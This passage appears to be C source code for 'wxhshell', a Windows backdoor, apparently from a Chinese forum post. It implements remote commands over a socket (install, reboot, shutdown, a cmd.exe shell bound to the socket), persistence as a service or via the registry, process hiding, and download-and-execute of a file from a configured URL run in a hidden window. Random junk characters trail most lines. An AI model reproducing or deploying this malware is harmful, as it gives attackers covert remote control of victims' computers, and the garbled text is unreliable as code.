      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); p$!+2=)gY  
    break; s"Pk-Dv  
  } i\R\bv[9  
  // 安装 $q@RHcj  
  case 'i': { ) eGu4iEPM  
    if(Install()) 02 c.;ka3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [Jh))DIx  
    else `R=_t]ie  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Vi -!E  
    break; AYQh=$)(  
    } CH_Dat >  
  // 卸载 h*X%:UbW  
  case 'r': { . eag84_  
    if(Uninstall()) eRqexqO!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `q{'_\gVt(  
    else >D^7v(&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _(s|Q  
    break; {4jSj0W  
    } {c EK z\RX  
  // 显示 wxhshell 所在路径 wk <~Y 3u  
  case 'p': { ^VYZ %  
    char svExeFile[MAX_PATH]; 9C'+~<l  
    strcpy(svExeFile,"\n\r"); r L|BkN  
      strcat(svExeFile,ExeFile); mt6uW+t/  
        send(wsh,svExeFile,strlen(svExeFile),0); wTuRo J  
    break; bFdg '_  
    } .+~kJ0~Y  
  // 重启 snzH}$Ls  
  case 'b': { WMz|FFKVY  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1B]wSvP@  
    if(Boot(REBOOT)) d.(]V2X.J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =d4',[O  
    else { Fu$Gl$qV?%  
    closesocket(wsh); ]` Gz_e  
    ExitThread(0); QR"O)lP  
    } n_ NG~ /x  
    break; )^@V*$D  
    } NTX+7<  
  // 关机 [-94=|S @  
  case 'd': { iW%0pLn  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ,7$uh):  
    if(Boot(SHUTDOWN)) Dq1XZ%8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %1d6j<7  
    else { hnL gsz  
    closesocket(wsh); 7}7C0mV3  
    ExitThread(0); `,]PM) iC  
    } -#z'A  
    break; vh3iu +  
    } <yaw9k+P  
  // 获取shell IG@&l0ARL  
  case 's': { k.f:nv5JO  
    CmdShell(wsh); iP\&fZY_  
    closesocket(wsh); I8wVvs;k  
    ExitThread(0); E6\~/=X=%  
    break; [?o v J  
  } @9P9U`ZP  
  // 退出 )s[S.`S Tz  
  case 'x': { :hdh$}y  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); y(BLin!O.  
    CloseIt(wsh); e$|)wOwU  
    break; fe`G^hV  
    } i]WlMC6  
  // 离开 ba:^zO^  
  case 'q': { %SFR.U0}yK  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); o:\j/+]  
    closesocket(wsh); `D4'`Or-U  
    WSACleanup(); mP+yjRw  
    exit(1); on&=%tCAL  
    break; *wyLX9{:  
        } MM$" 6Jor  
  } :@'0)7  
  } tF1%=&ss  
wD Y7B  
  // 提示信息 T}x%=4<E  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); k"-#ox!  
} \(t>(4s_~  
  } ;AA7wK 4  
#mxfU>vQ:  
  return; ^moIMFl  
} Gl:T  
_jKVA6_E  
// shell模块句柄 n,LKkOG  
int CmdShell(SOCKET sock) mV]g5>Q\  
{ n 9M6wS  
STARTUPINFO si; VQ}3r)ch  
ZeroMemory(&si,sizeof(si)); l:}4 6%  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -%$ dFq  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; OvG|=  
PROCESS_INFORMATION ProcessInfo; wA&)y>n-  
char cmdline[]="cmd"; Y\S^DJy  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); YhR"_  
  return 0; ,QAp5I%3=  
} Y}z?I%zL  
Oj\mkg  
// 自身启动模式 OEi9 )I  
int StartFromService(void) Qj[O$L0 $  
{ 4'| :SyOm  
typedef struct J, >PLQAa  
{ 4=cq76  
  DWORD ExitStatus; YIqfGXu8  
  DWORD PebBaseAddress; ^Pp FI  
  DWORD AffinityMask; BVeNK=7m%  
  DWORD BasePriority; k;X1x65uP  
  ULONG UniqueProcessId; zwK;6&(W  
  ULONG InheritedFromUniqueProcessId; L#b Q`t  
}   PROCESS_BASIC_INFORMATION; ay[*b_f  
GQWTQIl]  
PROCNTQSIP NtQueryInformationProcess; d'D\#+%> =  
?"u-@E[m  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Ux]@p rAq  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 9F!&y-  
~[6|VpGc:  
  HANDLE             hProcess; !qv;F?2 <g  
  PROCESS_BASIC_INFORMATION pbi; k]YGD  
W}3vY]  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); y5h[^K3  
  if(NULL == hInst ) return 0; oPZ4}>uV  
y Dw!u[:  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); sR nMBW.  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); X.|0E87  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5(Oc"0''H  
FQl|<l6  
  if (!NtQueryInformationProcess) return 0; AW68'G*m  
hKYPH?b%  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); :E*U*#h/  
  if(!hProcess) return 0; [GM<Wt0  
W{aNS@1  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; c>.Xc[H  
Lcm!e  
  CloseHandle(hProcess); BT0hx!Ti  
Gjr2]t;E  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); PCjY,O  
if(hProcess==NULL) return 0; n3,wwymQ  
gu&oCT  
HMODULE hMod; ij5YV3  
char procName[255]; KR0 x[#.*  
unsigned long cbNeeded; %Ski5q  
i*j+<R@  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 0k [6  
nsk 6a  
  CloseHandle(hProcess); R0'EoX  
?>&Zm$5V  
if(strstr(procName,"services")) return 1; // 以服务启动 !CKUkoX  
h65j,v6B  
  return 0; // 注册表启动  Pq%cuT%  
} Fwqf4&/  
9f`Pi:*+/  
// 主模块 q#Vf2U55m  
int StartWxhshell(LPSTR lpCmdLine) O!tD1^O!1}  
{ :_ox8xS4  
  SOCKET wsl; ls Ch K  
BOOL val=TRUE; ,pz CJ@5  
  int port=0; *Cw2h  
  struct sockaddr_in door; SGm? "esEt  
9_{!nQC.g  
  if(wscfg.ws_autoins) Install(); [DwB7l)O(  
g(k|"g`*  
port=atoi(lpCmdLine); RUKSGj_NJ  
FO$Tn+\6  
if(port<=0) port=wscfg.ws_port; -&}E:zoe  
OFv} jT  
  WSADATA data; 566Qik w2  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; lfP|+=^B  
pkx>6(Y  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   vKf=t&gqr  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); g=Di2j{A  
  door.sin_family = AF_INET; -f=hL7NW  
  door.sin_addr.s_addr = inet_addr("127.0.0.1");  Km7  
  door.sin_port = htons(port); $(U|JR@  
9j`-fs@:  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |{T2|iJI  
closesocket(wsl); }__+[-  
return 1; J^4k}  
} 2wCRT}C  
8n?.w:Y/  
  if(listen(wsl,2) == INVALID_SOCKET) { tw66XxE  
closesocket(wsl);  ~A/_\-  
return 1; LNkyV*TI  
} iY-dM(_:]  
  Wxhshell(wsl); >Fz$DKr[  
  WSACleanup(); HV@:!zM  
{QID@  
return 0; nKdLhCN'=  
"L]_NS T  
} `Z-`-IL  
j$6}r  
// 以NT服务方式启动 e^yB9b  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) jxvVp*-=<j  
{ nP^$p C  
DWORD   status = 0; HdM;c*K  
  DWORD   specificError = 0xfffffff; tANG ]  
/ <p HDY  
  serviceStatus.dwServiceType     = SERVICE_WIN32; il~,y8WTU{  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; jPfoI-  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; $$a"A(Y  
  serviceStatus.dwWin32ExitCode     = 0; uZ+<  
  serviceStatus.dwServiceSpecificExitCode = 0; zlfm})+G  
  serviceStatus.dwCheckPoint       = 0; _Gu ;U@  
  serviceStatus.dwWaitHint       = 0; &,zeBFmc  
\!r^6'A   
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); c+JlM1p@  
  if (hServiceStatusHandle==0) return; `;;!>rm  
- g0>>{M'  
status = GetLastError(); :&m(WZ \  
  if (status!=NO_ERROR) #=rR[:M  
{ 7F.,Xvw&@  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; art{PV4-  
    serviceStatus.dwCheckPoint       = 0; /03>|Juo  
    serviceStatus.dwWaitHint       = 0; r`2& o  
    serviceStatus.dwWin32ExitCode     = status; (]:G"W8f  
    serviceStatus.dwServiceSpecificExitCode = specificError; F}Au'D&n_  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @lwqk J  
    return; &+v&Dd&  
  } +-hmITJ v  
F r~xN!  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; e\<I:7%Rg  
  serviceStatus.dwCheckPoint       = 0; (rJvE*  
  serviceStatus.dwWaitHint       = 0; yFSL7`p+  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^|Y!NHYH$Z  
} fOVRtSls  
z?PF9QL1  
// 处理NT服务事件,比如:启动、停止 B !XT:.+  
VOID WINAPI NTServiceHandler(DWORD fdwControl) {)mlXo(On  
{ ,O}zgf*H;  
switch(fdwControl) b7-a0zaN  
{ /y}  
case SERVICE_CONTROL_STOP: F}X_I  
  serviceStatus.dwWin32ExitCode = 0; <~d N23)  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 4P8:aZM  
  serviceStatus.dwCheckPoint   = 0; xInWcQ  
  serviceStatus.dwWaitHint     = 0; mWh:,[o  
  { gnQd#`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); STI8[e7{  
  } >2a~hW|,  
  return; Sz =z TPnO  
case SERVICE_CONTROL_PAUSE: <*[(t;i  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; %X3T<3<  
  break; D<MtLwH  
case SERVICE_CONTROL_CONTINUE: &b_duWs  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; "k.<"pf  
  break; jzQgD ed ]  
case SERVICE_CONTROL_INTERROGATE: 1n^xVk-G  
  break; E~B LY{3:  
}; KnuqU2< {  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); SC#  
} Vh&uSi1V  
99`xY$  
// 标准应用程序主函数 c0@v`-9  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 344- ~i*  
{ r <U }lK  
MStaP;|  
// 获取操作系统版本 ek9%Xk8  
OsIsNt=GetOsVer(); e.N#+  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ,q4Y N-3  
D3]_AS&\  
  // 从命令行安装 W|:WAxJ*d  
  if(strpbrk(lpCmdLine,"iI")) Install(); QZX+E   
WDcjj1`l  
  // 下载执行文件 *`kh}  
if(wscfg.ws_downexe) { !>M: G:K  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) d/MMPge3  
  WinExec(wscfg.ws_filenam,SW_HIDE); PH6uP]  
} 7j^,4;  
>">-4L17m  
if(!OsIsNt) { 139_\=5|U/  
// 如果时win9x,隐藏进程并且设置为注册表启动 Y9ru~&/o$  
HideProc(); /wQDcz  
StartWxhshell(lpCmdLine); {J[0UZ6  
} k{; 2*6b0  
else QgP UP[  
  if(StartFromService()) ='(:fHhhX  
  // 以服务方式启动 w0pH|$"/P  
  StartServiceCtrlDispatcher(DispatchTable); B{44|aq1|  
else d4lEd>Ni  
  // 普通方式启动 N)QW$iw9  
  StartWxhshell(lpCmdLine); @sP?@< C  
WkT4&|POJ  
return 0; ;e+ErN`a.~  
}
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只看该作者 1 发表于: 2006-10-10
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